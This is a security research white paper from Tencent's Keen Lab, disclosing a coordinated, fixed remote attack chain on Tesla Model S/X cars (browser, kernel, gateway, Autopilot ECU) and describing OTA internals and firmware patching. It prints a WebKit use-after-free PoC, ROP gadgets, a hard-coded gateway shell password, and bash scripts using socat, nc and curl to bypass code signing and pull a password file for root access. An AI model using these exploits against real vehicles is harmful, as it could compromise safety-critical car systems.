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ABSTRACT 

We, Keen Security Lab of Tencent, have successfully implemented two remote attacks on the Tesla 

Model S/X in 2016[1] and 2017[2-4]. Last year, at Black Hat USA, we presented the details of our first 

attack chain. At that time, we showed a demonstration video of our second attack chain, but without 

technical aspects. This year, we are willing to share our full, in-depth details on this research. 

In this presentation, we explained the inner workings of this technology and showcased the new 

capability developed in the Tesla Hacking 2017. As always, this attack chain has multiple 0-days of 

different in-vehicle components. 

Also, we introduced an in-depth analysis of the critical components in the Tesla car, including the 

gateway, Body Control Modules(BCM), and the Autopilot ECUs. For instance, we utilized a code-

signing bypass vulnerability to compromise the gateway ECU; we also reversed and then customized the 

body control ECUs to play the Model X "Holiday Show" Easter Egg for fun. 

Finally, we showed a case about gaining unauthorized access to the Autopilot ECU on the Tesla car and, 

also, attacking remotely by exploiting one more fascinating vulnerability. To the best of our knowledge,  

this presentation could be the first to demonstrate hacking into an Autopilot module.  

TARGET VERSION 

We have successfully tested our vulnerabilities on version v8.1(17.24.28) and version v8.1(17.17.4) on 

both Model S and Model X. We customized the "Holiday Show" Easter Egg on the version v8.1(17.18.50). 

Model Test Target 
Version 

(Build Number) 

Model S P85 
Model X 90D 

CID/gateway 
Vulnerability 

v8.1(17.24.28) 

Model X 90D APE Vulnerability V8.1(17.17.4) 

Model X 90D Custom Holiday Show V8.1(17.18.50) 

Table 1 Tested Version 

 



 

 

 

ATTACK CHAINS 

In the first part, we presented the whole attack chains from browser to gateway and Autopilot ECU. 

EXPLOIT BROWSER 

At Black Hat USA 2017, we explained how to utilize two vulnerabilities exist in Webkit to exploit the 

browser of the Tesla Model S, and their security team fixed those two vulnerabilities quickly. However, 

their Webkit was kept 534.34 for a long time, without fixing all the vulnerabilities. Thus, our exploit 

utilizes only one vulnerability to achieve arbitrary code execution. 

This vulnerability related to SVGTransformList element in Webkit. The attribute baseVal of 

element SVGAnimatedTransformList is an SVGTransformList object which is a list of 

SVGTransform objects. The attribute matrix on SVGTransform represents a transformation.  After 

calling the method initialize()or clear() of SVGTransformList object which contains a 

SVGTransform object, the SVGTransform object will be freed. However, the reference of property 

matrix on this SVGTransform element can be still available by mistake. Using this reference after 

method initialize()or clear() could trigger this UAF vulnerability. 

<!DOCTYPE html> 

<script> 

if (window.testRunner) 

    testRunner.dumpAsText(); 

function eventhandler1() { 

    var transformList = 

document.createElementNS("http://www.w3.org/2000/svg", 

"radialGradient").gradientTransform.baseVal; 

    var transform = document.querySelector("svg").createSVGTransform(); 

    transformList.appendItem(transform); 

    var matrix = transform.matrix; 

    transformList.initialize(transform); 

    matrix.flipX(); 

} 

</script> 

This test passes if it doesn't crash under ASAN. 

<svg onload="eventhandler1()"> 

Code 1 PoC of this Webkit vulnerability 

 

Let's check it from the source code. When appending transform to transformList, the function 

SVGListProperty::appendItemValuesAndWrappers() would insert newItem, which is a 

instance of the class WebCore::SVGTransform, into a vector values, belonging to 

WebCore::SVGListProperty. When this vector appends the first item, a 1024 bytes buffer allocated 

by WTF::fastMalloc() is used to store this item. 

PassListItemTearOff appendItemValuesAndWrappers(AnimatedListPropertyTearOff* 

animatedList, PassListItemTearOff passNewItem, ExceptionCode& ec) 

{ 

        //... 

        PropertyType& values = animatedList->values(); 

        //... 

        // Append the value and wrapper at the end of the list. 



 

 

 

        values.append(newItem->propertyReference()); 

        wrappers.append(newItem); 

        //... 

} 

Code 2 The implement of function append() 

 

During the method initialize() of transformList executes, WTF::fastFree() frees the 

buffer of this vector values, and the structure WebCore::SVGTransform in this vector freed together. 

PassListItemTearOff initializeValuesAndWrappers(AnimatedListPropertyTearOff* 

animatedList, PassListItemTearOff passNewItem, ExceptionCode& ec) 

{ 

    PropertyType& values = animatedList->values(); 

    //... 

    values.clear(); 

    values.append(newItem->propertyReference()); 

    //... 

} 

Code 3 The implement of function initialize() 

 

Since the structure WebCore::SVGMatrix is a part of structure WebCore::SVGTransform and the 

reference of matrix still available, it is possible to access the memory just freed.  

The good news is the array m_transform of WebCore::SVGMatrix can be directly read and write 

by get or set the property a, b, c, d, e, f of matrix, which means we can almost read or write anything 

in this structure if we can put the array to the memory location occupied by WebCore::SVGMatrix 

before. 

To achieve the ability of fastFree() any address, we put an ArrayStorage structure which belongs 

to a JSArray in the memory just freed, then tampered with the m_allocBase of this structure. After 

trigger JSArray::unshiftCount(), increaseVectorPrefixLength() will call fastFree() 

to free the address we tampered with in m_allocBase. 

Now, we can do these things: 

1. To achieve the ability of arbitrary address read, we put an ArrayStorage structure belongs to a 

JSArray in the memory just freed. This time, we tampered with an item pointer in m_vector of 

ArrayStorage structure and pointed it to a fake JSC::StringObject structure which points to 

fake JSC::JSString structure and WTF::StringImpl structure. The length of 

WTF::StringImpl structure is big enough so we can read the whole memory. 

2. To achieve the ability of arbitrary address write, we leaked and freed a Uint32Array structure, 

then defined a new Uint32Array. The tampered length of the original Uint32Array would allow 

us to write the whole memory. 

3. To achieve arbitrary code execution, we leaked the JIT memory address from JSCell structure and 

JSC::ExecutableBase structure belongs to a JavaScript function. Then, we wrote the shellcode 

to JIT memory to achieve code execution. 



 

 

 

Finally, we got the shell of Tesla CID again by exploiting this vulnerability.  Tesla fixed this quickly 

after we reported it. In early 2018, Tesla upgraded Webkit from 534.34 to 601.1. 

LOCAL PRIVILEGE ESCALATION (CVE-2017-6261) 

In 2016, we utilized a well-known kernel vulnerability to gain root privilege on CID and successfully 

escape from AppArmor. However, in 2017, things became much more difficult for us because Tesla 

fixed almost all well-known kernel vulnerabilities and upgraded the kernel from 2.6.36 to 4.4.35. So we 

have to find a new 0-day vulnerability, which costs lots of works [5], and this one exists in Tegra nvmap 

kernel module. Tesla and Nvidia helped assign this vulnerability a CVE number CVE-2017-6261.  

According to the rules of AppArmor in Tesla, only /dev/nvmap and /dev/nvhost-ctrl can be 

accessed by process QtCarBrowser under the protection of AppArmor. The character device file 

/dev/nvmap is a user interface. Userland process can open this file, then send commands by calling 

ioctl(). This function receives a pointer to structure nvmap_pin_handle  in userland memory with 

this format: 

struct nvmap_pin_handle { 

      unsigned long handles; /* array of handles to pin/unpin */ 

      unsigned long addr;       /* array of addresses to return  */ 

      __u32 count;              /* number of entries in handles */ 

}; 

Code 4 The Structure nvmap_pin_handle 

 

In this structure, the pointer handles points to an array of nvmap_handle structures. 

struct nvmap_handle { 

      struct rb_node node;  /* entry on global handle tree */ 

      atomic_t ref;         /* reference count (i.e., # of duplications) */ 

      atomic_t pin;         /* pin count */ 

       //... 

      struct mutex lock; 

}; 

Code 5 The Structure nvmap_handle 

 

If the ioctl command is NVMAP_IOC_PIN_MULT, the function nvmap_pin_ids() will be executed. 

In this function, nvmap_handle structures are validated first. In nvmap_handle_put(), if there are 

any invalid nvmap_handle structures, the valid nvmap_handle structures before the invalid 

nvmap_handle structure in the array will be freed by _nvmap_handle_free()when reference count 

of nvmap_handle structure decreased to zero. 

int nvmap_pin_ids(struct nvmap_client * client, unsigned int nr, 

  const unsigned long * ids) { 

  nvmap_ref_lock(client); 

  for (i = 0; i < nr && !ret; i++) { 

    ref = _nvmap_validate_id_locked(client, ids[i]); 

    if (ref) { 

      //... 

    } else { 

      struct nvmap_handle * verify; 

      nvmap_ref_unlock(client); 



 

 

 

      verify = nvmap_validate_get(client, ids[i]); 

      if (verify) 

        //... 

      else 

        ret = -EPERM; 

      nvmap_ref_lock(client); 

    } 

  } 

  nvmap_ref_unlock(client); 

  nr = i; 

  if (ret) 

    goto out; 

  //... 

out:  

if (ret) { 

    nvmap_ref_lock(client); 

    //... 

    for (i = 0; i < nr; i++) 

      nvmap_handle_put(h[i]); 

  } 

  return ret; 

} 

Code 6 Vulnerable code in function nvmap_pin_ids() 

 

However, the calculated count of valid nvmap_handle structures is wrong, resulting in the reference 

count of the invalid nvmap_handle structure decreases. Since the pointer to this invalid 

nvmap_handle structure provided by the caller (in userland), we can decrease any integer data by one 

in kernel memory. 

This vulnerability also can be used to write arbitrary data to arbitrary address. To achieve this, we 

decreased the address of syscall accept4 in syscall entry table to an address of ROP gadget, then 

achieved arbitrary address write by calling syscall accept4 with proper arguments. 

// ROP Gadgets on v8.1(17.24.28) 

 

// READ 

//.text:C0049650 LDR R0, [R4,#0x2C] 

//.text:C0049650 LDR R0, [R4,#0x2C] 

 

// WRITE 

//.text:C03442F0 STRH R2, [R1,R3] 

//.text:C03442F4 BLX R6 

Code 7 Gadgets used in the exploit 

 

In our exploit, we patched aa_g_profile_mode with APPARMOR_COMPLAIN in the kernel to disable 

AppArmor, we also patched syscall setresuid(), so any process can setresuid() to root. 



 

 

 

 

Figure 1 Shell of CID: Linux 4.4.35 

 

By utilizing this powerful 0-day, we controlled CID. 

BYPASS CODE SIGNING PROTECTION (CVE-2017-9983) 

Last year, to compromise the CAN network, we put a customized firmware updater. After the previous 

report, they fixed this flaw by adding a signature verification for the updater.  However, before we discuss 

the repair solution, let's check how to transfer files being verified to the gateway. 

If you have read our last year’s white paper, you might have known that the port 3500 on the gateway is 

acting as the command port. In the version being tested by us, the following commands are available: 

⚫ \x12\x01: Open a shell at port 23, with hard-coded password "1q3e5t7u". 

⚫ \x00: Reboot 

⚫ \x08: Reboot for update. 

Besides port 3500, the Perl script gwxfer would use service provided by the file operate agent on 

gateway via TCP port 1050. The following table describes the format of some typical command packets: 

Table 2 Format of the command packet 

uint16_t 
packet_len 

Command Code Arguments 
0x00 Read file char filename[] 

0x01 Write file 
uint32_t 
mode 

uint32_t len char filename[] uint8_t content[] 

0x02 Rename file char oldname[] char newname[] 
… 



 

 

 

 

Though the script provided a method to rename a file, it can not rename the target file to boot.img, 

and it can neither upload a boot.img. This might work as a security enhancement since boot.img is 

booted directly by the bootloader, and upload an incorrect file might brick the car. When renaming, 

gateway checks if the file is a legal image released by Tesla using its signature, and refuse if verify failed. 

Those two rename functions can be described as the following pseudocode: 

int xfer_rename_file(char * old_name, char * new_name) { 

  struct Retval ret; 

  if (stricmp(new_name, "boot.img")) { 

    fatfs_rename(old_name, new_name); 

    set_retval( & ret, ERR_OK); 

  } else { 

    set_retval( & ret, ERR_DENY); 

  } 

  return send_retval(ret); 

}; 

 

int update_rename_file(char * image_name) { 

  assert(stricmp(image_name, "boot.img")); 

  assert(verify_format_and_signature(image_name)); 

  fatfs_rename(image_name, "boot.img"); 

  return do_reboot(); 

}; 

 

int boot() { 

  //.... 

  if (file_exists("boot.img")) { 

    fatfs_rename("boot.img", "booted.img"); 

    load_and_run("booted.img"); 

  } 

  //.... 

} 

Code 8 Pseudocode of the update process 

 

We can pull the SD card out and directly write our boot.img in it. Since bootloader does not verify if 

the image is correct, the gateway would execute it directly. However, what we want to do is performing 

the attack without any physical method, so analyzing its implementation is necessary.  

The signature verification would use Ed25519+SHA512 with the last 0x48 bytes of boot.img, to verify 

the remaining part of the image. The program used carefully picked constants and keys, so cryptographic 

attack seems not possible. Besides, though it is evident that update_rename_file applied no thread 

lock, so between verify_signature and fatfs_rename, an attacker could perform a TOCTOU 

attack by replacing a correct image with a malformed file.  

TOCTOU can be charming, but there is too much non-deterministic. Thus, after more reverse engineering 

jobs, we found out Tesla might be using FatFS r0.09 written by ChaN with default ffconfig.h used. 

In the implementation of fatfs_rename we found the following code: 

for(si=0; lfn[si]==' '|| lfn[si]=='.'; si++); 

/* Strip leading spaces and dots */ 

Code 9 Code in fatfs_rename 



 

 

 

This check means FatFS would strip leading spaces and dots, but we did not see any related code in the 

rename function of file operate agent. So, we can let the new_name be \x20boot.img and call 

xfer_rename_file. This parameter can bypass Tesla’s check and transform new_name to boot.img 

by FatFs. 

#!/bin/bash 

# @Author: nforest 

 

touch service.upd 

gwxfer service.upd gw:/service.upd 

gwxfer release.tgz gw:/release.tgz 

gwxfer ourboot.img gw:/img 

gwxfer firmware.rc gw:/firmware.rc 

printf "\x00\x0f\x02img\x00\x20boot.img\x00"|socat - tcp:gw:1050 

printf "\x00" | socat - udp:gw:3500 

Code 10 Bypass Code Signing Protection 

 

By using this vulnerability, we bypassed code signing protection and executed our code in the gateway. 

Now, we can program our customized code into gateway and ECUs like what we did last year. 

ROOT APE FROM CID 

In Tesla Model X, the Autopilot module is the most significant component which provides driver 

assistance function. Unlike CID, there are few interfaces on APE for interacting with the outside world, 

which makes it hard to find a vulnerability hacking into APE. 

The vulnerability we utilized to get root privilege on APE exists in ape-updater, an executable file 

works for updating the whole APE system. The ape-updater runs with root privilege and opens two 

TCP ports 25974 and 28496. The first port is a command port for accepting update instructions from CID 

and the second port supports a simple HTTP server. 

The command port supports many commands, such as install, auth, system, gostaged and m3-

factory-deploy. Some commands can be executed directly without restrictions., some commands are 

privileged commands and cannot execute until elevating the privilege by executing the "auth" command. 

The others only can be executed on the specific system, CID or APE. 

In version 17.17.4, the unprivileged commands "install" and "m3-factory-deploy" is executable 

from CID without restrictions. 

The command "m3-factory-deploy" is a newly added command. Its argument is a JSON string which 

could be used to override the result of the "handshake" command. In the JSON string, there is a valid 

key "self_serve", and the value is a path of a file. The command "install" can download and 

update the whole system of Tesla from the URL specified in the argument. In the process of executing, 

ape-updater parses the previous JSON before downloading firmware.  

Since we can override the result of the "handshake" by executing command "m3-factory-deploy", 

command "install" gets the path from the value of "self_serve" and serve the file to the HTTP 

server provides by ape-updater. By modifying the JSON value, we can provide our customized code 

for install. 



 

 

 

#!/bin/bash 

APE=192.168.90.103 

PORT_CMD=25974 

PORT_HTTP=28496 

 

echo -ne "m3-factory-deploy 

\"self_serve\":\"/var/etc/saccess/tesla1\"\nexit\n"|nc $APE $PORT_CMD > 

/dev/null 

 

sleep 1 

 

echo -ne "install http://8.8.8.8:8888/8888\nexit\n" | nc $APE $PORT_CMD > 

/dev/null 

 

curl $APE:$PORT_HTTP/var/etc/saccess/tesla1 

Code 11 ape-updater Exploit Code 

 

So, we served the file /var/etc/saccess/tesla1 and downloaded it from the simple HTTP server 

in ape-updater. Its content is the password of the account tesla1 which could be used to pass the 

"auth" command. After that, the command "system" can be used to execute any Linux command with 

ROOT privilege. 

 

Figure 2 Shell of APE 

 

OTA OVERVIEW 

Last year we mentioned some critical files in Tesla’s OTA mechanism, boot.img, and release.tgz, 

both are responsible for delivering firmware to ECUs. However, those files cannot be found directly in 

the update package released by Tesla’s server. Also, it remains unpublicized about how the car obtaining 

update packages from Tesla’s server and the whole update process on the car side is still unclear. In this 

part, we describe those essential aspects from our point of view. 

CLOUD-CAR: HANDSHAKE AND FIRMWARE BUNDLE 

Tesla implemented an OTA framework, with these modules necessary to finish the OTA procedure: 



 

 

 

⚫ Message box 

⚫ Firmware gathering 

⚫ Job management 

Most of those modules exist in QtCar and QtCarServer on CID as a part of the cloud agent. Once a 

trusted channel established, the agent would set up a port, so remote server could push messages directly 

to the car. Also, when necessary, the unread messages would be pulled from the server-side message box. 

During an OTA update, those agents are mainly working as a messenger, instead of executing the real 

update actions. 

The FOTA procedure starts with a message. The message with command 

initiate_firmware_handshake represents its beginning, and after the message received, the agent 

would send handshake command to cid-updater, another updater daemon running on CID (we will 

mention more about this process later), to do a handshake with the server. Following steps are necessary 

during a handshake: 

1. The hardware configuration string of car is sent to the remote server by cid-updater, along with 

a package_signature, generated from the current software running on the car.  

2. Manufacturer’s firmware server would verify that info, and give guidelines according to the current 

version, including firmware bundle’s download address, checksum, and decrypt info. We call it 

‘firmware bundle’ because this SquashFS file contains nearly all files (except those for autopilot) 

required to update the car.  

3. The bundle is distributed via CDN instead of other encrypted channels so it would be much cheaper, 

and easier to be accelerated. cid-updater would download, verify and decrypt it. 

With a legal firmware provided, cid-updater collects correct files out according to the car 

configuration and distribute those files into different units in the car. Details of how to distribute and use 

those files will be discussed later. 

During the whole update process, a job manager is responsible for reporting current status and error info 

to the remote server. Each update job has with a job ID for tracking usage. Whenever a checkpoint 

reached, the checkpoint name is POST to the remote server, along with its related info, like current status 

and bytes transferred. We believe the job manager would notice if a car has failed too many times for an 

update, and combining our reverse engineering results with other findings from the TeslaMotorsClub 

forum[6], there might be a complex telemetry infrastructure so engineers could make a quick response to 

every update request. 

CARSIDE: ETHERNET CONNECTED ECU 

CID and IC are two major components exist in all Tesla cars (except for Model 3, in which Tesla 

combines both components into the ICE). Both of them have an updater daemon called cid-updater 

and ic-updater, and while there is some code shared between those binaries, the primary purpose of 

that two daemons are different. cid-updater is responsible for communicating with the remote server 

after a reliable communication channel has established, getting the firmware package, and providing 

necessary files and info as a secondary server, while ic-updater focus on updating IC itself. So now 



 

 

 

we would consider cid-updater as a local server, and ic-updater as a remote agent, to discuss 

how IC is updated. 

Both server (cid-updater) and agent (ic-updater) have a service called 

command_service_listener. This service would open a port, so the server can do RPC to call 

functions on agent directly. Once everything prepared, the agent would use this service to get the client’s 

update agent (and under this circumstances, a copy of all log would be redirected to the server). Generally, 

the server is controlling the remote agent with the following procedure: 

1. The remote unit would stop all other jobs and prepare to gostaged. Then it would try to download 

the file bundle for the target. 

2. The local server starts an HTTP server and serves the update file. The remote agent would be 

notified after the file is ready. 

3. The remote agent downloads the update file. After the file is downloaded and its signature is 

verified, the updater goes staging.  

4. Flash the update file into the board. For IC, this means: 

a) Assuming current running in area A. 

b) Flash new rootfs image and DTB into the area B. 

c) Write the new kernel image into the area B. 

d) Switch both primary boot chain and recovery boot chain to the area B. 

e) Check the boot chain to ensure next boot is acceptable 

After all those operations finished, the device will under the staged and inactive state. 

5. After some final preparations, the device would reboot. 

During the whole procedure, there would be continuously connection between agent and server so that 

the server can get the latest info about current updating status. 

CARSIDE: GATEWAY CONNECTED ECU 

Those ECUs’ update files are stored in folder (squashfs-root)/deploy/seed_artifacts_v2. 

Since the bug about lacking the signature support of firmware files (reported as a part of our BHUSA2017 

talk) has been fixed two years ago, we would skip the "ancient" implement, and only talk about the latest 

firmware. Following files and directories exists in this folder： 

⚫ boot.img 

⚫ release_version.txt 

⚫ version_map2.tsv and Signed_metadata_map.tsv. Since the latter file includes most info in the 

previous one, we will not explicitly make differences when mentioning neither of those files.  

⚫ internal_option_defaults.tsv 



 

 

 

⚫ ECUNAME/, like esp/, gtw/ etc. 

As we have mentioned before, the file boot.img runs while upgrading and read firmware files from 

release.tgz. Now, boot.img contains a signature, padded after its original EOF. When an update 

command is sent, this signature is checked, and if it can be verified by the public key (which already 

exists in gateway’s software), the image is confirmed as a legal one.  

An essential step in boot.img is reading the firmware bundle, release.tgz. It can be found on gateway’s 

SD card, and contains all files used by the gateway to update corresponding ECUs, with only one 

firmware file for each ECU. The particular firmware file is copied from 

ECUNAME/PROVIDERID/ECUFWNAME.hex. When packaging the tar file, cid-updater gets ECU 

info and car info (e.g., if 4wd) from the gateway, and pick correct PROVIDERID according to the table 

in signed_metadata_map.tsv. The format of this file looks like this: 

 

Version hash 

ECUName:ProviderID Path to file New name Componet name Checksum Requirements Signature 

… 

Table 3 The format of signed_metadata_map.tsv 

 

The file’s first line is release hash of the whole package, while another name of this field is "tegra os-

version". Then followings several lines describing every firmware file under the folder 

seed_artifacts_v2. That information would give a guideline for cid-updater to collect firmware 

for the current car. 

Here are some critical steps for flashing all ECUs, including the gateway itself:  

1. Making firmware package. cid-updater would get latest ECU hardware info from the gateway. 

For each ECU, cid-updater would search through signed_metadata_map.tsv to see which 

line has the same Requirements field with the current car. Once found, it copies file in 

PATH_TO_FILE to the tar file with name New_name.  

Besides, to minify the update package, cid-updater would only copy the corresponding line in 

signed_metadata_map.tsv into the file with the same name in release.tgz.  

2. According to the update mode, create a UPD file in the SD card. The updater reads this file to 

understand its current state. 

3. The updater, boot.img, is uploaded to the SD card, and reboot with the filename. 

When updater executes, an unmodified boot.img reads each file into the memory, padding with first 

few fields in the corresponding line in signed_metadata_map.tsv, and verify its signature using 

sign value (also from signed_metadata_map.tsv) and public key saved in boot.img. The updater 

would exit once it found an incorrect firmware file, and the update would result in a failure. 

All signing and hashing algorithms are using Ed25519 with SHA512, with all public key and constants 

carefully selected. This means attacking the signature algorithm itself is not an easy job (at least before 



 

 

 

BHUSA 2018). Moreover, since we have already known a way to get our code running on the gateway, 

there is no reason for us to dig into the cryptographic code at this point. 

EASTER EGG 

In last year's demo video, we have demonstrated how to "reactivate" the Easter Egg on Tesla Model X 

after the egg expired. Based on our in-depth researching, the show had proven that our overall 

understanding of Tesla's CAN network and the mechanism of body control ECUs in Tesla.  

WHAT IS EASTER EGG 

Easter egg had been introduced in Tesla 17.17.4, though there was already some code in a few previous 

releases. According to TeslaMotorsClub forum, most users can use a sketch pad, see a rainbow road, and 

something else. However, for us, the wing door dance on Model X is quite impressive, and we are curious 

about how engineers in Tesla managed to control several components simultaneously, especially after 

we have noticed several YouTubers’ Model X is showing different dances than we excepted. Furthermore, 

we also want to modify this show to prove we can affect components directly connected to 

electromechanical components. 

The Easter Egg in the Tesla Model X is a complex combination of different body control ECUs. The 

combination makes customize the Easter Egg a tough work because we need to modify most of the ECUs’ 

firmware which is related to body control in Tesla, and also it is hard to locate the code of Easter Egg in 

so much ECUs’ firmware. 

HOW EASTER EGG WORKS 

The Easter Egg implementation by Tesla mainly consists of two parts: CID and body control ECUs. CID 

is responsible for triggering the first stage of the Easter Egg and the music playing of the Easter egg, and 

the body control ECUs are responsible for the motion of the vehicle body while in the Easter Egg. The 

diagram below shows their relationships: 

 

Figure 3 Components used in Easter Egg 

 



 

 

 

After some experiment and reverse engineering, we have a brief view of how the whole normal Easter 

Egg works, and we find out there are three stages of the Egg. Generally, there are two key points of 

triggering the egg: a party signal from CID (Stage 1), and a fob signal through BCCEN from the key fob 

(Stage2). Then the ECUs control devices to act according to the preset tables in the firmware and in the 

meantime, CID can play the Egg music. 

Stage 1: Triggers On CID  

As we have previously mentioned, Tesla has a well-designed framework for their car-related services on 

CID. They use several separate binaries to abstract the business process. General ly, the trigger on CID 

works like the following graph. 

 

Figure 4 The process of trigger 

When long press and release the "T" button on CID, method StatusBarView::badgeReleased is 

called, and the popup window (like the picture below) shows. Once entered the correct access code 

modelxmas, an instance of class ModelXHolidayParty is created, and its member function 

ModelXHolidayParty::primeShow() is called immediately. This function checks some basic 

conditionals such as: 

⚫ The car is under park state 

⚫ The date > 2017-1-15 

⚫ The Easter egg is not running now 

If conditions above are satisfied, the function changes GUI_holidayPartyState. This variable is an 

instance of class DataValue, implemented by Tesla, and acts like a light-weight QObject, which 

would call a certain function once the variable has been changed. In this example, this function comes 

from an instance of singleton class GatewayMessageSender, created when the whole CID started. 

This function would send the value of GUI_holidayPartyState as a signal to the ECUs. 

This signal notifies most of the ECUs that the whole vehicle is under the Easter Egg party mode, and the 

following diagram shows its effect: 



 

 

 

 

Figure 5 Signal path in stage 1 

 

This packet is transmitted over UDP to port 20100 in a similar format for CAN messages, as we have 

discussed in the BHUSA2017 whitepaper. The ID of the packet is 0x21e, with one bit in the data set to 

1 by ModelXHolidayParty::primeShow which means PREPARED of the party mode. The gateway 

would send a frame with ID 0x268 on the body CAN after received this UDP packet. 

During that time, CID itself also does some preparation for the Egg. It turns the volume to the max for 

audio effect and then gets ready to receive the signal from the UDP to trigger to play the music. 

Stage 2: Started by BCCEN 

After the party signal comes from the CID, all the body control ECUs are ready for the Egg. Here, 

according to the guidelines by Tesla, people should walk out of the car, close all doors, and press the fob 

to start the Egg. During that time, BCCEN is the main unit to process the fob related signal. 

 

Figure 6 Signal path in stage 2 

 

The frame on Body CAN with ID 0x231, representing the press on the key fob, is later transformed to 

UDP packet with ID 0x433 by the gateway, informing the keypress message. Then the related slot 

ModelXHolidayParty::bodyControlStatusChanged would execute startShow. This 

function adjusts volumes, media sources, and other related properties again, then start a new GStreamer 

object to play the music. During that time, GUI_holidayPartyState is also changed to 2. The 

changed value is also broadcasted on the CAN bus, informing other components like BCCEN can start 

the Easter Egg now. 

Stage 3: Body control ECU works 

When the Egg started, the CID plays the music of Egg, and the BCFRONT broadcasts the commands to 

synchronize the motions to body control ECUs. The following table described related ECUs: 

 



 

 

 

ECU ECU Function 

BCFDM Door Control Module LF 

BCRDM Door Control Module LR 

BCFPM Door Control Module RF 

BCRPM Door Control Module RR 

BCCEN Central Body Control Module 

BCREAR Rear Body Control Module 

BCFRONT Front Body Control Module 

BCFALCD Falcon Controller Front 

BCFALCP Falcon Controller Rear 

Table 4 Body Control ECUs 

 

MAKE OUR OWN EASTER EGG 

After we have a clear overview of the whole Easter Egg, we found the most difficult part of the modified 

Easter Egg is how to patch the firmware of the ECUs and locate the code in CID by a lot of reverse work. 

This section illustrates how we modified the ECUs firmware with some skills of reversing. 

1) Patch in CID 

We patched ModelXHolidayParty::primeShow to bypass date check and park mode check, patched 

AccessPopup::accessCodeEntered to bypass the check of access code modelxmas, and patched 

StatusBarView::badgeReleased to bypass the duration check of pressing "T" button. Then we 

send signal badgeReleased to theStatusBar and signal accessCodeEntered to AccessPopup 

to simulate the clicks by a human.  

2) Way to flash 

Before we decide to patch the body control ECUs, we should find a way to flash the ECUs. Fortunately, 

by using the vulnerability mentioned before, we can bypass the signature check in the gateway to program 

our custom firmware to those body control ECUs. We also noticed that the ECU itself have no secure 

boot mechanism, and even does not check firmware’s signature, except for a CRC checksum. That means 

nothing can stop us from programming the ECU after bypassed the only check in Gateway. 

3) Patch in ECUs 

After the analysis of the egg, it is easy to see that we need to patch BCCEN and BCFRONT. We patch 

the BCFRONT to change the motion list of the Egg, and patch the BCFRONT to skip the fob signal 

check during stage 2, making it possible to start the Egg straightly. 

All the patches discussed below are based on the version 17.18.50. 



 

 

 

Before we start reversing we found a string in all the body control relative ECUs as follow:  

 

After some comparison, we make sure the ECUs are developed based on the Freescale MQX RTOS. A 

significant characteristic of the MQX is a list of the segment at the beginning of the firmware; the RTOS 

copies some data from the source address to the target address according to the segment table. 

 

Figure 7 Segments in firmware 

 

The segment table is an array of structures like this: 

struct segment_table { 
      DWORD src;                         

      DWORD dst;                     

      DWORD length;                    

}; 

Code 12 Structure of segment table 

 

With the help of this table, we can get the main code segment and data segment quickly. This does much 

help for the next patch step. 

a) Patch BCCEN 

In this ECU firmware, after plenty of reverse work, we get one point which judges the state of 

Egg in function sub_3520A: 

 

Figure 8 Bypass the check of the key fob  

 



 

 

 

The number 3 means the status of the fob, and the function get_key_state()checks the state 

of the fob, so all we need to do is to skip the function get_key_state(). 

b) Patch BCFRONT 

The segmentation table helped us to pull data segment out. By comparing different version of 

BCFRONT firmware, we can see the last firmware which contains Egg list is much bigger than 

the old version. After checking the obvious differences in the data segment of BCFRONT, we 

found there is one big array in the data segment, with some reversing and experience, we found 

out that the array has a structure like that: 

struct egg_table_action { 
      BYTE type;                        /* 0:light, 1:Wing door, 2:regular door…… */ 

      DWORD conf;                    /* actions */ 

      DWORD time;                   /* time in ms */ 

}; 

Code 16 Structure of an item in Egg Table 

 

All we need now is determine how type and conf mean in the firmware, and it even needs no 

decompiler: record a video with those values combined with a brute-force method. Here we 

assume conf is bitfield since there is a significant pattern between the original data and the 

original video. 

Finally, we need to patch another point in firmware which stands for the length of the array by 

checking the reference of the Egg list. Here is that value: 

 

Figure 9 Increase the item count in Egg Table  

 

After changing the value, we can have our own Easter Egg. 

CONCLUSION 

In this paper, we revealed all the vulnerabilities utilized to achieve the remote control on Tesla Model 

X, described the details of some important process on OTA, and explained how we made our custom 

Easter Egg Show. 

After we submitted our report to Tesla, they responded our report and fixed the vulnerabilities efficiently, 

we are glad to coordinate with Tesla to ensure the driving safety, and we are glad to make the connected 

cars more secure again.  



 

 

 

ACKNOWLEDGMENT 

We would like to thank all the contributors to this research project and all the members in the Keen 

Security Lab of Tencent. 

REFERENCES 

[1] https://www.youtube.com/watch?v=c1XyhReNcHY 

[2] https://www.youtube.com/watch?v=VH4KgW-GchU 

[3] https://keenlab.tencent.com/en/2017/07/27/New-Car-Hacking-Research-2017-Remote-Attack-

Tesla-Motors-Again/ 

[4] https://www.bleepingcomputer.com/news/security/chinese-researchers-hack-tesla-model-x-in-

impressive-video/ 

[5] https://www.youtube.com/watch?v=hCgX4uDQkfA 

[6]  https://teslamotorsclub.com/ 

https://www.wired.com/2016/09/tesla-responds-chinese-hack-major-security-upgrade/
https://www.wired.com/2016/09/tesla-responds-chinese-hack-major-security-upgrade/

